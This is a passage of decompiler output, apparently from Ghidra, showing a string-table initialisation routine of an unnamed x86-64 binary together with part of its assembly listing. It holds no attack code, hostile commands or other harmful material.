  FUN_0040d8fa(0x105,&DAT_0042789e,3);
  FUN_0040d8fa(0x106,&DAT_004278a2,3);
  FUN_0040d8fa(0x107,&DAT_004278a6,4);
  FUN_0040d8fa(0x108,&DAT_004278ab,3);
  FUN_0040d8fa(0x109,&DAT_004278af,5);
  FUN_0040d8fa(0x10a,&DAT_004278b5,8);
  FUN_0040d8fa(0x10b,&DAT_004278be,6);
  FUN_0040d8fa(0x10c,&DAT_004278c5,8);
  FUN_0040d8fa(0x10d,&DAT_004278ce,4);
  FUN_0040d8fa(0x10e,&DAT_004278d3,8);
  FUN_0040d8fa(0x10f,&DAT_004278dc,0xb);
  FUN_0040d8fa(0x110,&DAT_004278e8,4);
  FUN_0040d8fa(0x111,&DAT_004278ed,5);
  FUN_0040d8fa(0x112,&DAT_00427222,5);
  FUN_0040d8fa(0x113,&DAT_004278f3,0x21);
  FUN_0040d8fa(0x114,&DAT_00427915,0x20);
  FUN_0040d8fa(0x115,&DAT_00427936,0x12);
  FUN_0040d8fa(0x116,&DAT_00427949,0x12);
  FUN_0040d8fa(0x117,&DAT_0042795c,3);
  FUN_0040d8fa(0x118,&DAT_00427960,8);
  FUN_0040d8fa(0x119,&DAT_00427969,4);
  FUN_0040d8fa(0x11a,&DAT_0042796e,0xb);
  FUN_0040d8fa(0x11b,&DAT_0042797a,10);
  FUN_0040d8fa(0x11c,&DAT_00427985,9);
  FUN_0040d8fa(0x11d,&DAT_0042798f,4);
  FUN_0040d8fa(0x11e,&DAT_00427994,4);
  FUN_0040d8fa(0x11f,&DAT_00427999,5);
  FUN_0040d8fa(0x120,&DAT_0042799f,4);
  FUN_0040d8fa(0x121,&DAT_004279a4,5);
  FUN_0040d8fa(0x122,&DAT_004279aa,4);
  FUN_0040d8fa(0x123,&DAT_004279af,4);
  FUN_0040d8fa(0x124,&DAT_0042828f,4);
  FUN_0040d8fa(0x125,&DAT_004279b4,4);
  FUN_0040d8fa(0x126,&DAT_004279b9,5);
  FUN_0040d8fa(0x127,&DAT_004279bf,4);
  FUN_0040d8fa(0x128,&DAT_004279c4,0x10);
  FUN_0040d8fa(0x129,&DAT_004279d5,6);
  FUN_0040d8fa(0x12a,&DAT_004279dc,8);
  FUN_0040d8fa(299,&DAT_004279e5,0x19);
  FUN_0040d8fa(300,&DAT_004279ff,7);
  FUN_0040d8fa(0x12d,&DAT_00427a07,0x12);
  FUN_0040d8fa(0x12e,&DAT_00427a1a,4);
  FUN_0040d8fa(0x12f,&DAT_00427a1f,4);
  FUN_0040d8fa(0x130,&DAT_00427a24,9);
  FUN_0040d8fa(0x131,&DAT_00427a2e,0x54);
  FUN_0040d8fa(0x132,&DAT_00427a83,4);
  FUN_0040d8fa(0x133,&DAT_00427a88,0xe);
  FUN_0040d8fa(0x134,&DAT_00427a97,4);
  FUN_0040d8fa(0x135,&DAT_00427a9c,8);
  FUN_0040d8fa(0x136,&DAT_00427aa5,4);
  FUN_0040d8fa(0x137,&DAT_00427aaa,0xc);
  FUN_0040d8fa(0x138,&DAT_00427859,7);
  FUN_0040d8fa(0x139,&DAT_00427ab7,0x13);
  FUN_0040d8fa(0x13a,&DAT_00427acb,0x13);
  FUN_0040d8fa(0x13b,&DAT_00428294,0x12);
  FUN_0040d8fa(0x13c,&DAT_004282a7,0x12);
  FUN_0040d8fa(0x13d,&DAT_00427adf,0x13);
  FUN_0040d8fa(0x13e,&DAT_00427af3,0xf);
  FUN_0040d8fa(0x13f,&DAT_00427b03,0x10);
  FUN_0040d8fa(0x140,&DAT_00427b14,0x11);
  FUN_0040d8fa(0x141,&DAT_00427b26,0xf);
  FUN_0040d8fa(0x142,&DAT_00427b36,0x10);
  FUN_0040d8fa(0x143,&DAT_00427b47,0xc);
  FUN_0040d8fa(0x144,&DAT_00427b54,0xe);
  FUN_0040d8fa(0x145,&DAT_00427b63,0x20);
  FUN_0040d8fa(0x146,&DAT_00427b84,0xe);
  FUN_0040d8fa(0x147,&DAT_00427b93,0xd);
  FUN_0040d8fa(0x148,&DAT_00427ba1,0xb);
  FUN_0040d8fa(0x149,&DAT_00427bad,0x12);
  FUN_0040d8fa(0x14a,&DAT_00427bc0,8);
  FUN_0040d8fa(0x14b,&DAT_00427832,4);
  FUN_0040d8fa(0x14c,&DAT_00427824,4);
  FUN_0040d8fa(0x14d,&DAT_00427837,4);
  FUN_0040d8fa(0x14e,&DAT_0042781f,4);
  FUN_0040d8fa(0x14f,&DAT_0042783c,6);
  FUN_0040d8fa(0x150,&DAT_00427bc9,6);
  FUN_0040d8fa(0x151,&DAT_00427bd0,6);
  FUN_0040d8fa(0x152,&DAT_00427bd7,5);
  FUN_0040d8fa(0x153,&DAT_00427bdd,5);
  FUN_0040d8fa(0x154,&DAT_00427be3,7);
  FUN_0040d8fa(0x155,&DAT_00427beb,5);
  FUN_0040d8fa(0x156,&DAT_00427843,5);
  FUN_0040d8fa(0x157,&DAT_00427849,4);
  FUN_0040d8fa(0x158,&DAT_00427bf1,4);
  FUN_0040d8fa(0x159,&DAT_00427bf6,3);
  FUN_0040d8fa(0x15a,&DAT_00427bfa,0xf);
  FUN_0040d8fa(0x15b,&DAT_00427c0a,0xc);
  FUN_0040d8fa(0x15c,&DAT_00427c17,0x10);
  FUN_0040d8fa(0x15d,&DAT_00427c28,0xc);
  FUN_0040d8fa(0x15e,&DAT_00427797,5);
  FUN_0040d8fa(0x15f,&DAT_0042720e,6);
  FUN_0040d8fa(0x160,&DAT_00427c35,0xe);
  FUN_0040d8fa(0x161,&DAT_00427c44,0xf);
  FUN_0040d8fa(0x162,&DAT_00427c54,4);
  FUN_0040d8fa(0x163,&DAT_00427272,4);
  FUN_0040d8fa(0x164,&DAT_00427c59,9);
  FUN_0040d8fa(0x165,&DAT_00427c63,9);
  FUN_0040d8fa(0x166,&DAT_00427c6d,0x12);
  FUN_0040d8fa(0x167,&DAT_00427c80,9);
  FUN_0040d8fa(0x168,&DAT_00427c8a,6);
  FUN_0040d8fa(0x169,&DAT_00427c91,6);
  FUN_0040d8fa(0x16a,&DAT_00427c98,4);
  FUN_0040d8fa(0x16b,&DAT_00427c9d,3);
  FUN_0040d8fa(0x16c,&DAT_00427ca1,6);
  FUN_0040d8fa(0x16d,&DAT_004282ba,5);
  FUN_0040d8fa(0x16e,&DAT_00427ca8,8);
  FUN_0040d8fa(0x16f,&DAT_004282c0,5);
  FUN_0040d8fa(0x170,&DAT_00427cb1,6);
  FUN_0040d8fa(0x171,&DAT_00427cb8,7);
  FUN_0040d8fa(0x172,&DAT_00427cc0,6);
  FUN_0040d8fa(0x173,&DAT_00427cc7,7);
  FUN_0040d8fa(0x174,&DAT_00427ccf,7);
  FUN_0040d8fa(0x175,&DAT_004282c6,8);
  FUN_0040d8fa(0x176,&DAT_00427cd7,7);
  FUN_0040d8fa(0x177,&DAT_00427cdf,6);
  FUN_0040d8fa(0x178,&DAT_00427ce6,6);
  FUN_0040d8fa(0x179,&DAT_004282cf,0xb);
  FUN_0040d8fa(0x17a,&DAT_00427ced,10);
  FUN_0040d8fa(0x17b,&DAT_00427cf8,9);
  FUN_0040d8fa(0x17c,&DAT_00427d02,10);
  FUN_0040d8fa(0x17d,&DAT_004282db,5);
  FUN_0040d8fa(0x17e,&DAT_00427d0d,6);
  FUN_0040d8fa(0x17f,&DAT_00427d14,4);
  FUN_0040d8fa(0x180,&DAT_00427d19,4);
  FUN_0040d8fa(0x181,&DAT_004278ed,5);
  FUN_0040d8fa(0x182,&DAT_00427d1e,7);
  FUN_0040d8fa(0x183,&DAT_00427222,5);
  FUN_0040d8fa(0x184,&DAT_00427d26,0x10);
  FUN_0040d8fa(0x185,&DAT_00427d37,0xe);
  FUN_0040d8fa(0x186,&DAT_00427d46,0xe);
  FUN_0040d8fa(0x187,&DAT_00427d55,0x14);
  FUN_0040d8fa(0x188,&DAT_004282e1,0x12);
  FUN_0040d8fa(0x189,&DAT_00427d6a,0x16);
  FUN_0040d8fa(0x18a,&DAT_00427d81,0x14);
  FUN_0040d8fa(0x18b,&DAT_00427d96,0x1b);
  FUN_0040d8fa(0x18c,&DAT_004282f4,0x12);
  FUN_0040d8fa(0x18d,&DAT_00428307,0x12);
  FUN_0040d8fa(0x18e,&DAT_00427db2,0x18);
  FUN_0040d8fa(399,&DAT_00427dcb,0x17);
  FUN_0040d8fa(400,&DAT_00427de3,0x19);
  FUN_0040d8fa(0x191,&DAT_00427dfd,0x1a);
  FUN_0040d8fa(0x192,&DAT_00427e18,0x19);
  FUN_0040d8fa(0x193,&DAT_00427e32,0x1b);
  FUN_0040d8fa(0x194,&DAT_00427e4e,9);
  FUN_0040d8fa(0x195,&DAT_00427e58,9);
  FUN_0040d8fa(0x196,&DAT_00427e62,0xb);
  FUN_0040d8fa(0x197,&DAT_00427e6e,4);
  FUN_0040d8fa(0x198,&DAT_00427e73,7);
  FUN_0040d8fa(0x199,&DAT_0042831a,9);
  FUN_0040d8fa(0x19a,&DAT_00427e7b,9);
  FUN_0040d8fa(0x19b,&DAT_004277f9,8);
  FUN_0040d8fa(0x19c,&DAT_00427e85,8);
  FUN_0040d8fa(0x19d,&DAT_00427e8e,4);
  FUN_0040d8fa(0x19e,&DAT_004277dc,7);
  FUN_0040d8fa(0x19f,&DAT_00427e93,5);
  FUN_0040d8fa(0x1a0,&DAT_00427e99,8);
  FUN_0040d8fa(0x1a1,&DAT_00427ea2,0xb);
  FUN_0040d8fa(0x1a2,&DAT_00427eae,4);
  FUN_0040d8fa(0x1a3,&DAT_00427eb3,5);
  FUN_0040d8fa(0x1a4,&DAT_00427eb9,7);
  FUN_0040d8fa(0x1a5,&DAT_00427ec1,6);
  FUN_0040d8fa(0x1a6,&DAT_00427ec8,4);
  FUN_0040d8fa(0x1a7,&DAT_00427ecd,9);
  FUN_0040d8fa(0x1a8,&DAT_00427ed7,7);
  FUN_0040d8fa(0x1a9,&DAT_00427edf,6);
  FUN_0040d8fa(0x1aa,&DAT_00427ee6,4);
  FUN_0040d8fa(0x1ab,&DAT_00427eeb,4);
  FUN_0040d8fa(0x1ac,&DAT_00427ef0,4);
  FUN_0040d8fa(0x1ad,&DAT_00427ef5,4);
  FUN_0040d8fa(0x1ae,&DAT_00427efa,0xc);
  FUN_0040d8fa(0x1af,&DAT_00428324,5);
  FUN_0040d8fa(0x1b0,&DAT_00427f07,0xb);
  FUN_0040d8fa(0x1b1,&DAT_00427f13,0x14);
  FUN_0040d8fa(0x1b2,&DAT_00427f28,0x10);
  FUN_0040d8fa(0x1b3,&DAT_00427f39,8);
  FUN_0040d8fa(0x1b4,&DAT_00427f42,5);
  FUN_0040d8fa(0x1b5,&DAT_0042725e,4);
  FUN_0040d8fa(0x1b6,&DAT_00427f48,9);
  FUN_0040d8fa(0x1b7,&DAT_00427f48,9);
  FUN_0040d8fa(0x1b8,&DAT_00427f52,5);
  FUN_0040d8fa(0x1b9,&DAT_00427f58,0x17);
  FUN_0040d8fa(0x1ba,&DAT_00427f70,10);
  FUN_0040d8fa(0x1bb,&DAT_00427f7b,0x50);
  FUN_0040d8fa(0x1bc,&DAT_00427fcc,0x18);
  FUN_0040d8fa(0x1bd,&DAT_0042832a,0x14);
  FUN_0040d8fa(0x1be,&DAT_0042833f,0x31);
  FUN_0040d8fa(0x1bf,&DAT_00427fe5,0x19);
  FUN_0040d8fa(0x1c0,&DAT_00427fff,0x20);
  FUN_0040d8fa(0x1c1,&DAT_00428020,0x1a);
  FUN_0040d8fa(0x1c2,&DAT_0042803b,0x17);
  FUN_0040d8fa(0x1c3,&DAT_00428371,0x11);
  FUN_0040d8fa(0x1c4,&DAT_00428053,0x12);
  FUN_0040d8fa(0x1c5,&DAT_00428066,0x10);
  FUN_0040d8fa(0x1c6,&DAT_00428077,0xc);
  FUN_0040d8fa(0x1c7,&DAT_00428084,0x12);
  FUN_0040d8fa(0x1c8,&DAT_00428097,5);
  FUN_0040d8fa(0x1c9,&DAT_0042809d,8);
  FUN_0040d8fa(0x1ca,&DAT_004280a6,4);
  FUN_0040d8fa(0x1cb,&DAT_004280ab,3);
  FUN_0040d8fa(0x1cc,&DAT_004280af,0x13);
  FUN_0040d8fa(0x1cd,&DAT_004280c3,7);
  FUN_0040d8fa(0x1ce,&DAT_004280cb,4);
  FUN_0040d8fa(0x1cf,&DAT_00428383,0x6f);
  FUN_0040d8fa(0x1d0,&DAT_004283f3,0x50);
  FUN_0040d8fa(0x1d1,&DAT_004280d0,0x75);
  FUN_0040d8fa(0x1d2,&DAT_00428146,0x65);
  FUN_0040d8fa(0x1d3,&DAT_00428444,0x7d);
  FUN_0040d8fa(0x1d4,&DAT_004281ac,0xb);
  FUN_0040d8fa(0x1d5,&DAT_004281b8,0x10);
  FUN_0040d8fa(0x1d6,&DAT_004281c9,0x1f);
  FUN_0040d8fa(0x1d7,&DAT_004281e9,0x14);
  FUN_0040d8fa(0x1d8,&DAT_004281fe,0xb);
  FUN_0040d8fa(0x1d9,&DAT_0042820a,0x17);
  FUN_0040d8fa(0x1da,&DAT_004284c2,0x1d);
  FUN_0040d8fa(0x1db,&DAT_00428222,3);
  puVar9 = DAT_0062e6f0;
  if (*(long *)(DAT_0062e6f0 + 0x590) != 0) {
    piVar1 = DAT_0062e6f0 + 0x592;
    if (0 < *piVar1) {
      *(long *)(DAT_0062e6f0 + 0x2fc) = *(long *)(DAT_0062e6f0 + 0x590);
      puVar9[0x2fe] = *piVar1;
    }
  }
  puVar8 = *(undefined1 **)(puVar9 + 0x408);
  if ((*(undefined1 **)(puVar9 + 0x138) != (undefined1 *)0x0) && (puVar8 != (undefined1 *)0x0)) {
    uVar2 = puVar9[0x13a];
    uVar3 = puVar9[0x40a];
    uVar6 = (ulong)uVar3;
    if ((0 < (int)uVar2) && (0 < (int)uVar3)) {
      iVar11 = uVar3 + uVar2 + 1;
      if (iVar11 < 0x10) {
        puVar7 = *(undefined1 **)(puVar9 + 0x138);
        puVar10 = &DAT_0062e600;
        for (uVar5 = (ulong)uVar2; uVar5 != 0; uVar5 = uVar5 - 1) {
          *puVar10 = *puVar7;
          puVar7 = puVar7 + (ulong)bVar12 * -2 + 1;
          puVar10 = puVar10 + (ulong)bVar12 * -2 + 1;
        }
        (&DAT_0062e600)[(int)uVar2] = 0x2f;
        puVar7 = &DAT_0062e600 + (int)(uVar2 + 1);
        for (; uVar6 != 0; uVar6 = uVar6 - 1) {
          *puVar7 = *puVar8;
          puVar8 = puVar8 + (ulong)bVar12 * -2 + 1;
          puVar7 = puVar7 + (ulong)bVar12 * -2 + 1;
        }
        (&DAT_0062e600)[iVar11] = 0;
        *(undefined1 **)(puVar9 + 0x3f0) = &DAT_0062e600;
        puVar9[0x3f2] = iVar11;
      }
    }
  }
  FUN_0040b083();
  return;
}

Assembly · 2026 instructions, 0 annotated
AddressBytesInstructionComment
0040dba041 57PUSH R15
0040dba2be 10 00 00 00MOV ESI,0x10
0040dba7bf dc 01 00 00MOV EDI,0x1dc
0040dbac41 56PUSH R14
0040dbae41 55PUSH R13
0040dbb041 54PUSH R12
0040dbb255PUSH RBP
0040dbb353PUSH RBX
0040dbb452PUSH RDX
0040dbb5c7 05 e1 ff 21 00 00 00 …MOV dword ptr [DAT_0062dba0],0x0
0040dbbfe8 4c a3 00 00CALL FUN_00417f10
0040dbc448 89 05 25 0b 22 00MOV qword ptr [DAT_0062e6f0],RAX
0040dbcb48 85 c0TEST RAX,RAX
0040dbce75 18JNZ LAB_0040dbe8
0040dbd048 8d 15 09 e2 21 00LEA RDX,[DAT_0062bde0]
0040dbd7b9 70 07 00 00MOV ECX,0x770
0040dbdc48 89 d7MOV RDI,RDX
0040dbdf48 89 15 0a 0b 22 00MOV qword ptr [DAT_0062e6f0],RDX
0040dbe6f3 abSTOSD.REP RDI
LAB_0040dbe8:
0040dbe848 8d 2d 41 93 01 00LEA RBP,[DAT_00426f30]
0040dbef31 ffXOR EDI,EDI
0040dbf1ba 18 00 00 00MOV EDX,0x18
0040dbf648 89 eeMOV RSI,RBP
0040dbf94c 8d 25 8d 96 01 00LEA R12,[DAT_0042728d]
0040dc004c 8d 2d 28 98 01 00LEA R13,[DAT_0042742f]
0040dc07e8 ee fc ff ffCALL FUN_0040d8fa
0040dc0c48 89 eeMOV RSI,RBP
0040dc0fba 18 00 00 00MOV EDX,0x18
0040dc14bf 01 00 00 00MOV EDI,0x1
0040dc19e8 dc fc ff ffCALL FUN_0040d8fa
0040dc1e48 89 eeMOV RSI,RBP
0040dc21ba 18 00 00 00MOV EDX,0x18
0040dc26bf 02 00 00 00MOV EDI,0x2
0040dc2be8 ca fc ff ffCALL FUN_0040d8fa
0040dc3048 89 eeMOV RSI,RBP
0040dc33ba 18 00 00 00MOV EDX,0x18
0040dc38bf 03 00 00 00MOV EDI,0x3
0040dc3de8 b8 fc ff ffCALL FUN_0040d8fa
0040dc4248 89 eeMOV RSI,RBP
0040dc45ba 18 00 00 00MOV EDX,0x18
0040dc4abf 04 00 00 00MOV EDI,0x4
0040dc4fe8 a6 fc ff ffCALL FUN_0040d8fa
0040dc5448 89 eeMOV RSI,RBP
0040dc57ba 18 00 00 00MOV EDX,0x18
0040dc5cbf 05 00 00 00MOV EDI,0x5
0040dc61e8 94 fc ff ffCALL FUN_0040d8fa
0040dc6648 89 eeMOV RSI,RBP
0040dc69ba 18 00 00 00MOV EDX,0x18
0040dc6ebf 06 00 00 00MOV EDI,0x6
0040dc73e8 82 fc ff ffCALL FUN_0040d8fa
0040dc7848 89 eeMOV RSI,RBP
0040dc7bba 18 00 00 00MOV EDX,0x18
0040dc80bf 07 00 00 00MOV EDI,0x7
0040dc85e8 70 fc ff ffCALL FUN_0040d8fa
0040dc8aba 0c 00 00 00MOV EDX,0xc
0040dc8f48 8d 35 b3 92 01 00LEA RSI,[DAT_00426f49]
0040dc96bf 08 00 00 00MOV EDI,0x8
0040dc9be8 5a fc ff ffCALL FUN_0040d8fa
0040dca0ba 12 00 00 00MOV EDX,0x12
0040dca548 8d 35 7a a5 01 00LEA RSI,[DAT_00428226]
0040dcacbf 09 00 00 00MOV EDI,0x9
0040dcb1e8 44 fc ff ffCALL FUN_0040d8fa
0040dcb6ba 17 00 00 00MOV EDX,0x17
0040dcbb48 8d 35 94 92 01 00LEA RSI,[DAT_00426f56]
0040dcc2bf 0a 00 00 00MOV EDI,0xa
0040dcc7e8 2e fc ff ffCALL FUN_0040d8fa
0040dcccba 1b 00 00 00MOV EDX,0x1b
0040dcd148 8d 35 96 92 01 00LEA RSI,[DAT_00426f6e]
0040dcd8bf 0b 00 00 00MOV EDI,0xb
0040dcdde8 18 fc ff ffCALL FUN_0040d8fa
0040dce2ba 0c 00 00 00MOV EDX,0xc
0040dce748 8d 35 9c 92 01 00LEA RSI,[DAT_00426f8a]
0040dceebf 0c 00 00 00MOV EDI,0xc
0040dcf3e8 02 fc ff ffCALL FUN_0040d8fa
0040dcf8ba 07 00 00 00MOV EDX,0x7
0040dcfd48 8d 35 93 92 01 00LEA RSI,[DAT_00426f97]
0040dd04bf 0d 00 00 00MOV EDI,0xd
0040dd09e8 ec fb ff ffCALL FUN_0040d8fa
0040dd0eba 18 00 00 00MOV EDX,0x18
0040dd1348 8d 35 85 92 01 00LEA RSI,[DAT_00426f9f]
0040dd1abf 0e 00 00 00MOV EDI,0xe
0040dd1fe8 d6 fb ff ffCALL FUN_0040d8fa
0040dd24ba 1a 00 00 00MOV EDX,0x1a
0040dd2948 8d 35 88 92 01 00LEA RSI,[DAT_00426fb8]
0040dd30bf 0f 00 00 00MOV EDI,0xf
0040dd35e8 c0 fb ff ffCALL FUN_0040d8fa
0040dd3aba 11 00 00 00MOV EDX,0x11
0040dd3f48 8d 35 8d 92 01 00LEA RSI,[DAT_00426fd3]
0040dd46bf 10 00 00 00MOV EDI,0x10
0040dd4be8 aa fb ff ffCALL FUN_0040d8fa
0040dd50ba 01 00 00 00MOV EDX,0x1
0040dd5548 8d 35 bd 97 01 00LEA RSI,[DAT_00427519]
0040dd5cbf 11 00 00 00MOV EDI,0x11
0040dd61e8 94 fb ff ffCALL FUN_0040d8fa
0040dd66ba 04 00 00 00MOV EDX,0x4
0040dd6b48 8d 35 73 92 01 00LEA RSI,[DAT_00426fe5]
0040dd72bf 12 00 00 00MOV EDI,0x12
0040dd77e8 7e fb ff ffCALL FUN_0040d8fa
0040dd7cba 0e 00 00 00MOV EDX,0xe
0040dd8148 8d 35 62 92 01 00LEA RSI,[DAT_00426fea]
0040dd88bf 13 00 00 00MOV EDI,0x13
0040dd8de8 68 fb ff ffCALL FUN_0040d8fa
0040dd92ba 28 00 00 00MOV EDX,0x28
0040dd9748 8d 35 5b 92 01 00LEA RSI,[DAT_00426ff9]
0040dd9ebf 14 00 00 00MOV EDI,0x14
0040dda3e8 52 fb ff ffCALL FUN_0040d8fa
0040dda8ba 28 00 00 00MOV EDX,0x28
0040ddad48 8d 35 6e 92 01 00LEA RSI,[DAT_00427022]
0040ddb4bf 15 00 00 00MOV EDI,0x15
0040ddb9e8 3c fb ff ffCALL FUN_0040d8fa
0040ddbeba 08 00 00 00MOV EDX,0x8
0040ddc348 8d 35 81 92 01 00LEA RSI,[DAT_0042704b]
0040ddcabf 16 00 00 00MOV EDI,0x16
0040ddcfe8 26 fb ff ffCALL FUN_0040d8fa
0040ddd4ba 08 00 00 00MOV EDX,0x8
0040ddd948 8d 35 74 92 01 00LEA RSI,[DAT_00427054]
0040dde0bf 17 00 00 00MOV EDI,0x17
0040dde5e8 10 fb ff ffCALL FUN_0040d8fa
0040ddeaba 02 00 00 00MOV EDX,0x2
0040ddef48 8d 35 67 92 01 00LEA RSI,[DAT_0042705d]
0040ddf6bf 18 00 00 00MOV EDI,0x18
0040ddfbe8 fa fa ff ffCALL FUN_0040d8fa
0040de00ba 03 00 00 00MOV EDX,0x3
0040de0548 8d 35 54 92 01 00LEA RSI,[DAT_00427060]
0040de0cbf 19 00 00 00MOV EDI,0x19
0040de11e8 e4 fa ff ffCALL FUN_0040d8fa
0040de16ba 03 00 00 00MOV EDX,0x3
0040de1b48 8d 35 42 92 01 00LEA RSI,[DAT_00427064]
0040de22bf 1a 00 00 00MOV EDI,0x1a
0040de27e8 ce fa ff ffCALL FUN_0040d8fa
0040de2cba 03 00 00 00MOV EDX,0x3
0040de3148 8d 35 30 92 01 00LEA RSI,[DAT_00427068]
0040de38bf 1b 00 00 00MOV EDI,0x1b
0040de3de8 b8 fa ff ffCALL FUN_0040d8fa
0040de42ba 03 00 00 00MOV EDX,0x3
0040de4748 8d 35 1e 92 01 00LEA RSI,[DAT_0042706c]
0040de4ebf 1c 00 00 00MOV EDI,0x1c
0040de53e8 a2 fa ff ffCALL FUN_0040d8fa
0040de58ba 03 00 00 00MOV EDX,0x3
0040de5d48 8d 35 0c 92 01 00LEA RSI,[DAT_00427070]
0040de64bf 1d 00 00 00MOV EDI,0x1d
0040de69e8 8c fa ff ffCALL FUN_0040d8fa
0040de6eba 03 00 00 00MOV EDX,0x3
0040de7348 8d 35 fa 91 01 00LEA RSI,[DAT_00427074]
0040de7abf 1e 00 00 00MOV EDI,0x1e
0040de7fe8 76 fa ff ffCALL FUN_0040d8fa
0040de84ba 03 00 00 00MOV EDX,0x3
0040de8948 8d 35 e8 91 01 00LEA RSI,[DAT_00427078]
0040de90bf 1f 00 00 00MOV EDI,0x1f
0040de95e8 60 fa ff ffCALL FUN_0040d8fa
0040de9aba 03 00 00 00MOV EDX,0x3
0040de9f48 8d 35 d6 91 01 00LEA RSI,[DAT_0042707c]
0040dea6bf 20 00 00 00MOV EDI,0x20
0040deabe8 4a fa ff ffCALL FUN_0040d8fa
0040deb0ba 04 00 00 00MOV EDX,0x4
0040deb548 8d 35 c4 91 01 00LEA RSI,[DAT_00427080]
0040debcbf 21 00 00 00MOV EDI,0x21
0040dec1e8 34 fa ff ffCALL FUN_0040d8fa
0040dec6ba 04 00 00 00MOV EDX,0x4
0040decb48 8d 35 b3 91 01 00LEA RSI,[DAT_00427085]
0040ded2bf 22 00 00 00MOV EDI,0x22
0040ded7e8 1e fa ff ffCALL FUN_0040d8fa
0040dedcba 04 00 00 00MOV EDX,0x4
0040dee148 8d 35 a2 91 01 00LEA RSI,[DAT_0042708a]
0040dee8bf 23 00 00 00MOV EDI,0x23
0040deede8 08 fa ff ffCALL FUN_0040d8fa
0040def2ba 04 00 00 00MOV EDX,0x4
0040def748 8d 35 91 91 01 00LEA RSI,[DAT_0042708f]
0040defebf 24 00 00 00MOV EDI,0x24
0040df03e8 f2 f9 ff ffCALL FUN_0040d8fa
0040df08ba 04 00 00 00MOV EDX,0x4
0040df0d48 8d 35 80 91 01 00LEA RSI,[DAT_00427094]
0040df14bf 25 00 00 00MOV EDI,0x25
0040df19e8 dc f9 ff ffCALL FUN_0040d8fa
0040df1eba 04 00 00 00MOV EDX,0x4
0040df2348 8d 35 6f 91 01 00LEA RSI,[DAT_00427099]
0040df2abf 26 00 00 00MOV EDI,0x26
0040df2fe8 c6 f9 ff ffCALL FUN_0040d8fa
0040df34ba 04 00 00 00MOV EDX,0x4
0040df3948 8d 35 5e 91 01 00LEA RSI,[DAT_0042709e]
0040df40bf 27 00 00 00MOV EDI,0x27
0040df45e8 b0 f9 ff ffCALL FUN_0040d8fa
0040df4aba 04 00 00 00MOV EDX,0x4
0040df4f48 8d 35 4d 91 01 00LEA RSI,[DAT_004270a3]
0040df56bf 28 00 00 00MOV EDI,0x28
0040df5be8 9a f9 ff ffCALL FUN_0040d8fa
0040df60ba 04 00 00 00MOV EDX,0x4
0040df6548 8d 35 3c 91 01 00LEA RSI,[DAT_004270a8]
0040df6cbf 29 00 00 00MOV EDI,0x29
0040df71e8 84 f9 ff ffCALL FUN_0040d8fa
0040df76ba 04 00 00 00MOV EDX,0x4
0040df7b48 8d 35 2b 91 01 00LEA RSI,[DAT_004270ad]
0040df82bf 2a 00 00 00MOV EDI,0x2a
0040df87e8 6e f9 ff ffCALL FUN_0040d8fa
0040df8cba 04 00 00 00MOV EDX,0x4
0040df9148 8d 35 1a 91 01 00LEA RSI,[DAT_004270b2]
0040df98bf 2b 00 00 00MOV EDI,0x2b
0040df9de8 58 f9 ff ffCALL FUN_0040d8fa
0040dfa2ba 04 00 00 00MOV EDX,0x4
0040dfa748 8d 35 09 91 01 00LEA RSI,[DAT_004270b7]
0040dfaebf 2c 00 00 00MOV EDI,0x2c
0040dfb3e8 42 f9 ff ffCALL FUN_0040d8fa
0040dfb8ba 04 00 00 00MOV EDX,0x4
0040dfbd48 8d 35 f8 90 01 00LEA RSI,[DAT_004270bc]
0040dfc4bf 2d 00 00 00MOV EDI,0x2d
0040dfc9e8 2c f9 ff ffCALL FUN_0040d8fa
0040dfceba 04 00 00 00MOV EDX,0x4
0040dfd348 8d 35 e7 90 01 00LEA RSI,[DAT_004270c1]
0040dfdabf 2e 00 00 00MOV EDI,0x2e
0040dfdfe8 16 f9 ff ffCALL FUN_0040d8fa
0040dfe4ba 04 00 00 00MOV EDX,0x4
0040dfe948 8d 35 d6 90 01 00LEA RSI,[DAT_004270c6]
0040dff0bf 2f 00 00 00MOV EDI,0x2f
0040dff5e8 00 f9 ff ffCALL FUN_0040d8fa
0040dffaba 04 00 00 00MOV EDX,0x4
0040dfff48 8d 35 c5 90 01 00LEA RSI,[DAT_004270cb]
0040e006bf 30 00 00 00MOV EDI,0x30
0040e00be8 ea f8 ff ffCALL FUN_0040d8fa
0040e010ba 04 00 00 00MOV EDX,0x4
0040e01548 8d 35 b4 90 01 00LEA RSI,[DAT_004270d0]
0040e01cbf 31 00 00 00MOV EDI,0x31
0040e021e8 d4 f8 ff ffCALL FUN_0040d8fa
0040e026ba 04 00 00 00MOV EDX,0x4
0040e02b48 8d 35 a3 90 01 00LEA RSI,[DAT_004270d5]
0040e032bf 32 00 00 00MOV EDI,0x32
0040e037e8 be f8 ff ffCALL FUN_0040d8fa
0040e03cba 04 00 00 00MOV EDX,0x4
0040e04148 8d 35 92 90 01 00LEA RSI,[DAT_004270da]
0040e048bf 33 00 00 00MOV EDI,0x33
0040e04de8 a8 f8 ff ffCALL FUN_0040d8fa
0040e052ba 04 00 00 00MOV EDX,0x4
0040e05748 8d 35 81 90 01 00LEA RSI,[DAT_004270df]
0040e05ebf 34 00 00 00MOV EDI,0x34
0040e063e8 92 f8 ff ffCALL FUN_0040d8fa
0040e068ba 04 00 00 00MOV EDX,0x4
0040e06d48 8d 35 70 90 01 00LEA RSI,[DAT_004270e4]
0040e074bf 35 00 00 00MOV EDI,0x35
0040e079e8 7c f8 ff ffCALL FUN_0040d8fa
0040e07eba 04 00 00 00MOV EDX,0x4
0040e08348 8d 35 5f 90 01 00LEA RSI,[DAT_004270e9]
0040e08abf 36 00 00 00MOV EDI,0x36
0040e08fe8 66 f8 ff ffCALL FUN_0040d8fa
0040e094ba 04 00 00 00MOV EDX,0x4
0040e09948 8d 35 4e 90 01 00LEA RSI,[DAT_004270ee]
0040e0a0bf 37 00 00 00MOV EDI,0x37
0040e0a5e8 50 f8 ff ffCALL FUN_0040d8fa
0040e0aaba 06 00 00 00MOV EDX,0x6
0040e0af48 8d 35 3d 90 01 00LEA RSI,[DAT_004270f3]
0040e0b6bf 38 00 00 00MOV EDI,0x38
0040e0bbe8 3a f8 ff ffCALL FUN_0040d8fa
0040e0c0ba 09 00 00 00MOV EDX,0x9
0040e0c548 8d 35 2e 90 01 00LEA RSI,[DAT_004270fa]
0040e0ccbf 39 00 00 00MOV EDI,0x39
0040e0d1e8 24 f8 ff ffCALL FUN_0040d8fa
0040e0d6ba 09 00 00 00MOV EDX,0x9
0040e0db48 8d 35 22 90 01 00LEA RSI,[DAT_00427104]
0040e0e2bf 3a 00 00 00MOV EDI,0x3a
